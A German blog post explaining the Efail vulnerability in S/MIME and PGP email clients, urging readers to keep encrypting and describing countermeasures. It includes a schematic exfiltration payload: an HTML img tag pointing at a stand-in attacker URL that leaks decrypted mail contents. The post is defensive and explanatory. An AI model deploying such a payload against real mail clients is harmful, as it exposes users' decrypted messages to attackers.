Efail und die Folgen

"SMIME und PGP sind geknackt", zumindest wenn man den populistischen Medien Glauben wollte und man bräuchte ja gar nicht mehr verschlüsselt, es sei es nicht sicher. Verschwörungstheoretiker würden nun behaupten, dass diese Meinungen gezielt gestreut wurden. Die technische Wahrheit ist eine andere. Aber bis der Falscheindruck in den Köpfen wieder korrigiert ist, wird es etwas dauern.

Deinstallieren Sie bitte NICHT PGP oder SMIME-AddOns, denn eine unverschlüsselte Mail kann viel einfacher mitgelesen werden. Eine verschlüsselte Mail ist viel besser geschützt als eine Klartext-Mail.

Bitte weiter SMIME/PGP nutzen!

Wenn Sie nach "Efail" suchen, dann landen Sie zwangsläufig auch auf Seiten wie:

Je nach Lesart wird nur empfohlen, die automatische Entschlüsselung zu deaktivieren oder sogar die AddOns zu deinstallieren. Das ist aber weder sinnvoll noch notwendig. Ich würde ja auch nicht aufhören meine PIN der EC-Karten bei der Eingabe abzudecken, nur weil man diese von der Karte lesen könnte. Mein Kennwort würde ich auch nicht auf einem Zettel an den Monitor schreiben nur weil ein Keylogger das Kennwort sowieso mitlesen könnte. Sachlichkeit tut not.

Wenn ein Experte von Verschlüsselung abrät, dann müsste er besser sagen, dass man vertrauliche Informationen über einen anderen Weg senden sollte, wenn der Empfänger unsicher ist. Aber man sollte auf keinen Fall stattdessen "unverschlüsselt" senden.

Worum geht es?

SMIME und PGP sind zwei Verfahren, mit denen Mails verschlüsselt und signiert werden können. Beide Verfahren sind ähnlich, da sie mit kryptografischen Algorithmen unter Nutzung von privaten und öffentlichen Schlüsseln Nachrichten signieren und verschlüsseln. Um die Kompatibilität mit den bestehenden SMTP-Servern zu erhalten, sind per SMIME oder PGP formatierte Mails auch einfach "nur E-Mails". Sie werden genauso wie unverschlüsselte Mails übertragen und die Informationen auf dem Briefumschlag, d.h. sowohl Datum, Sender, Empfänger und auch der Betreff als auch andere Header-Informationen sind nicht verschlüsselt.

Anstatt aber nun einfach die Nachricht reinzuschreiben, wird die Nachricht verschlüsselt und eingetragen. Wenn Sie mit einem Mailprogramm so eine Nachricht erhalten, und dieses nicht das Verfahren SMIME oder PGP kennt, dann sehen sie nur Datenmüll. Früher bestand jede Mail nur aus Text und wenn Sie heute eine Mail mit einer Anlage senden oder auch eine HTML-Mail mit Formatierungen und Bildern, dann ist die binäre Mail einfach nur eine Datei mit entsprechenden "Abschnitten". Besondere Zeichen in einer Mail kennzeichnen die unterschiedlichen Typen (Text-Version, HTML-Version, Anlagen, etc.) des Inhalts. Eine HTML-Mails besteht genau genommen aus einen Inhalte mit der Mail selbst und die Bilder als Anlagen, auf die verwiesen wird. Ihr Mailprogramm kümmert sich darum, dass alles wieder schön angezeigt wird.

Und hier passiert der Fehler, dass ihr Mailprogramm die Mail natürlich entschlüsseln kann und ein Angreifer eine Veränderung vornimmt, mit der Sie selbst die unterschlüsselte Information dem Angreifer verraten. Nach meinem aktuellen Verständnis bedeutet das:

  • Die SMIME/PGP Verschlüsselung ist nicht geknackt.
    Die dahinter liegenden Verfahren RSA, AES, 3DES sind weiterhin sicher, wenn ihre Schlüssel nur lang genug und gut geschützt sind.
  • Eine Kopie einer Mail ist sicher.
    Wenn jemand die verschlüsselte Mail kopiert, was auf dem Transportweg sehr einfach ist, kann er damit immer noch nichts anfangen. Er kann natürlich die Metadaten (Absender, Empfänger, Betreff etc.) auslesen aber nicht den Inhalt der Mail
  • Ihre Schlüssel sind sicher.
    Diese Lücke erlaubt einem Angreifer nicht, ihre privaten Schlüssel zu erhalten.
  • Frühere Mails sind nicht betroffen.
    Es ist also keineswegs so, dass alle verschlüsselten Mails in ihrem Postfach "unsicher" sind. Aber wenn ein Angreifer eine Kopie einer früheren Mail hat, kann er diese natürlich verändern und erneut an sie senden. Das fällt ihnen vielleicht auf, dass eine "alte Mail" wieder auftaucht aber der Angreifer hat die gewünschte Information.

Es ist also keineswegs so, dass jemand eine Kopie der Mail einfach entschlüsseln kann.

Der Angriffsvektor

Um zu verstehen, wie das alles funktioniert, müssen sie etwas genauer wissen, wie unterschiedliche Inhalte, z.B. die Mails selbst und die Anlagen in einer Mail übertragen werden. Mittlerweile erfolgt das alles nach dem MIME-Standard, welcher die Ablage unterschiedlicher Informationen ein einer Mail definiert. Der "Envelope" interessiert nur die Mailserver selbst und stellt quasi den Umschlag dar. Dort stehen auch BCC-Empfänger drin aber Sie als Empfänger erhalten nur den "Mail"-Teil. Er besteht aus einem unverschlüsselten Header und einem Body, der in mehrere Segmente aufgeteilt ist.

Ich habe hier exemplarisch eine Mail skizziert, die einen Mailkörper hat, der sowohl als Text-Only als auch als HTML-Version angefügt wurde. Das ist üblich und ihr Client kann entscheiden, welche Version er ihnen anzeigt. Zudem gibt es Anlagen und hier sehen sie auch, dass Anlagen verschachtelt werden können. MIME erlaubt dies. Verschlüsselt ist nun alles, was in dem roten Kasten enthalten ist. Die Signatur selbst ist nicht verschlüsselt.

Interessant wird das alles nun, wenn ein Angreifer diese Mail verändern kann. Die verschlüsselten und hoffentlich signierten Informationen kann er nicht ändern. Allerdings kann der Angreifer die Signatur entfernen. Den wenigsten Empfänger würde das auffallen und der Angreifer vermeidet so eine Fehlermeldung oder Warnung beim Empfänger. Der Angreifer hätte auch keine unverschlüsselte Information. Er kann die Mail aber natürlich "drum herum" verändern. Und das tut er z.B. wie folgt:

Die beiden addierten MIME-Parts sind außerhalb der Verschlüsselung und brechen daher nicht die Signatur. Nun ist aber ihr Mailclient, der diese Mail öffnen, decodieren und parsen muss. Und hier passen die meisten Clients, indem Sie den unverschlüsselten Bodypart0 und den entschlüsselten Teil zusammenfügen und als HTML-Ansicht zum Rendern übergeben. und da steht dann im HTML-Code z.B. drin, dass ein Bild nachgeladen werden soll:

 <img src="http://Webseite des Angreifer/?mail= HIER STEHT DANN DIE ENTSCHLÜSSELTE MAIL >

Der Anfang mit dem IMG-Tag samt URL und das schließende Ende-Tag ">" wurden vom Angreifer addiert und viele Mailclients führen unverschlüsselte und verschlüsselte Inhalte einfach so zusammen. Ihr Mailprogramm sendet also die legitim von ihnen selbst entschlüsselte Mails per HTTP an den Angreifer.

Dies kann nur ein sehr verallgemeinerte Beschreibung sein und sehen Sie mir daher die Ungenauigkeiten nach.

Gegenmaßnahmen

Der Angriff funktioniert natürlich nur dann, wenn ihr Mailclient so arbeitet und wenn sie eine HTML-Mail anzeigen und automatisch Bilder über die enthaltene URL nachladen. Natürlich kann ein Angreifer in seinem Text auch noch eine "Beschreibung" hinterlegen, dass der Empfänger bitte das Bild nachlädt. Er könnte auch JavaScript u.a. Dinge einbetten. Anscheinend schludern sehr viele Programme dabei, wie Sie eine MIME-formatierte Email decodieren und behandeln. Vor allem trennen Sie nicht sauber zwischen verschlüsselten Inhalten und Klartext. Der MIME-Standard lässt dies zu und dieser Angriffsvektor wurde bislang halt noch nie wirklich von jemandem erkannt.

Gegenmaßnahmen sind einfach

  • "Aktive Inhalte" in Mails nicht automatisch anzeigen.
    Schon der Verzicht auf die HTML-Ansicht oder das automatische Nachladen von Bilder verhindert das Ausnutzen dieser Funktion. Der Anwender sollte natürlich sensibilisiert werden, dass der Download eines Bildes auch ein Upload von Informationen bedeuten kann. JavaScript in einer HTML-Mails sollte schon länger kein Client mehr ausführen.
  • Client aktualisieren.
    Es wird sicher nicht lange dauern, bis die Hersteller ihre Clients diesbezüglich abgesichert haben. Da aber durchaus auch mobile Clients betroffen sind, kann das hier etwas länger dauern oder gar nicht mehr möglich sein. Allerdings ist PGP/SMIME auf Smartphones sicher eine Nische.
  • Gateway einsetzen.
    Ich bin im Firmeneinsatz kein Freund von Verschlüsselung bis zum Endgerät. Privat sieht das anders aus aber in Firmen gibt es andere Herausforderungen, die ich auf Ende zu Ende Verschlüsselung auch beschrieben habe. Hier können Sie allein über die Behandlung auf dem Gateway solche Angriffe verhindern. Natürlich darf das Gateway die Mail entschlüsseln und für einen Virenscan/Spamfilter auch lesen. Es sollte aber nicht jeder Hyperlink-URL folgen und vor allem nicht mehrere MIME-Parts aus verschiedenen Verschlüsselungsgruppen aneinanderhängen.

Eine Gegenmaßnahme ist aus meiner Sicht aber komplett falsch:

Es ist falsch auf Verschlüsselung zu verzichten. Nur weil jemand vielleiht ihren Haustürschlüssel nachmachen kann, würden Sie doch auch nicht das Schloss ausbauen und die Tür offenstehen lassen.

Eine unverschlüsselte Mail ist auf jeden Fall durch fremde Personen und Dienste einfach lesbar. Für eine verschlüsselte Mail ist es möglich, solange die Clients noch die Lücke haben. Die Herausforderung wird aber eher sein, dass die Anwender auch tatsächlich ein Update von einer vertrauenswürdigen Quelle einspielen. Ich warte ja nur drauf, dass ein "böser Bube" ein angebliche Update verteilt, welches letztlich den "Ausleitungscode" direkt in das Mailprogramm einbaut. Schließlich kann der Code, der die Mail für sie decodiert und Zugriff auf ihre Schlüssel hat, letztlich auch Unfug damit anstellen.

Weitere Links